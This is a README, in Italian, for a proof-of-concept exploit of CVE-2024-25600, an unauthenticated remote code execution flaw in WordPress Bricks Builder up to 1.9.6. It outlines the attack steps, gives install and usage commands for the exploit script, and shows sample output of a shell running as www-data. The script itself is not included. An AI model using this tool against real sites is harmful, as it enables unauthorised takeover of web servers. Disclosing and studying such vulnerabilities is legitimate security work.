CVE-2024-25600 — WordPress Bricks Builder RCE (PoC)

Vulnerabilità di esecuzione remota di codice non autenticata in WordPress Bricks Builder <= 1.9.6. L'endpoint di rendering dei template accetta codice PHP senza autenticazione, consentendo l'esecuzione arbitraria di comandi come utente del server web.

Come funziona

1. Recupera il nonce di Bricks dal sorgente della pagina del target (necessario per interagire con l'endpoint).
2. Invia un payload di test per confermare che il target sia vulnerabile.
3. Apre una shell interattiva iniettando comandi tramite l'endpoint di rendering.

Requisiti

• Python 3
• Installa le dipendenze:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Utilizzo

python3 exploit.py -u http://TARGET

Esempio:

$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Riferimenti

• CVE-2024-25600
• Avviso di sicurezza di Bricks Builder
• Articolo di Wordfence

Crediti

• Scoperta: Snicco / Calvin Alkan
• Exploit originale: K3ysTr0K3R
• Pulizia e semplificazione: Esteban Zárate